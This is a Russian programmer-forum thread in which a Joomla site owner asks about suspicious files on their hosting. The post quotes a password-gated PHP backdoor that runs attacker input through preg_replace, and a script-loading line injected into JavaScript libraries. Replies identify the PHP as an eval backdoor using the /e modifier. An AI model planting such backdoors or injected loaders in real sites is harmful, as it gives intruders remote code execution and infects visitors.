Форум программистов, компьютерный форум, киберфорум
Наши страницы
PHP
Войти
Регистрация
Восстановить пароль
 
Рейтинг 5.00/5: Рейтинг темы: голосов - 5, средняя оценка - 5.00
kester
216 / 157 / 30
Регистрация: 11.05.2010
Сообщений: 615
1

preg_replace() и $_POST, есть ли тут дыра в безопасности?

24.12.2013, 12:19. Просмотров 994. Ответов 2
Метки нет (Все метки)

Вот о чём речь:
В некоторых местах на хостинге появились файлы с содержимым:
PHP
1
2
3
4
<?php
if (md5($_POST['p']) == '227632b72cb3d5d1b86d25ab190c0a88') {
    preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']);
}
Также к ним время от времени идёт обращение извне злоумышленником.

Кроме того, регулярно появляются в js библиотеках(типа jquery) в конце запись, типа такой:
Javascript
1
;document.write("<scr"+"ipt src='mysite.com/[some_address]/[some_file].js'><"+"/script>");
Ну и, понятное дело, из-за этого [some_file].js меня блочит яндекс. (Troj/JSRedir-MN)

Вопрос в том, что же такого страшного написано в php-файле и может ли это быть связано с проблемой с js?

(что такое preg_replace я вкурсе, но вот почему он тут не пойму)
PHP 5.3
сайт на Joomla!1.5
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
24.12.2013, 12:19
Ответы с готовыми решениями:

Где-то дыра в скрипте.
Сегодня приходит сообщение от хостинга, зафиксирована, мол, SQL иньекция. Полез...

$_post и $_session в форме index.php. передача переменных из $_post в $_session
пока начал это делать... это в качестве примера. есть: &lt;?...

Подскажите есть ли тут защита от инекций sql
Подскажите есть ли тут защита от инекций sql? и в чем разница между query и...

Проверить "как есть" (preg_replace)
Здравствуйте, можно ли такое организовать? В общем есть строковая...

Есть ли тут такие, у кого есть свои идеи ,касающиеся компьютерной безопасности,например, по защите от вирусов?
Есть ли тут такие, у кого есть свои идеи ,касающиеся компьютерной...

2
Vovan-VE
13157 / 6541 / 1038
Регистрация: 10.01.2008
Сообщений: 15,070
24.12.2013, 14:52 2
Вторая строка кода — проверка пароля, который был отправлен в POST[p].
Третья строка — это по существу скрытый eval(POST[v2]).

Это бекдор, позволяющий выполнить любой код.
1
kester
216 / 157 / 30
Регистрация: 11.05.2010
Сообщений: 615
24.12.2013, 17:31  [ТС] 3
Цитата Сообщение от Vovan-VE Посмотреть сообщение
Третья строка — это по существу скрытый eval(POST[v2]).
А вот тут поподробнее, пожалуйста.
Уже не первый раз встречаю "нехороший код" с preg_replace(), но не совсем понимаю, каким образом он превращается в eval.

Добавлено через 23 минуты
Всё, понял/нашел. Всё дело в "/e" в конце.
Кому интересно, "небезопасные" функции в php.
2
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
24.12.2013, 17:31

Может какая-то дыра в безопасности?
Сервер на Debian, похоже, подцепил какую-то бяку, она заразила сайт на этом...

Даны натуральные числа n, k. Проверить, есть ли в записи числа nk цифра m. тут число n в степени k, то есть k
Даны натуральные числа n, k. Проверить, есть ли в записи числа nk цифра m....

Есть тут радиолюбители ?
Народ, помогите мне, объясните простым языком что это и как оно работает. 1...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
3
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru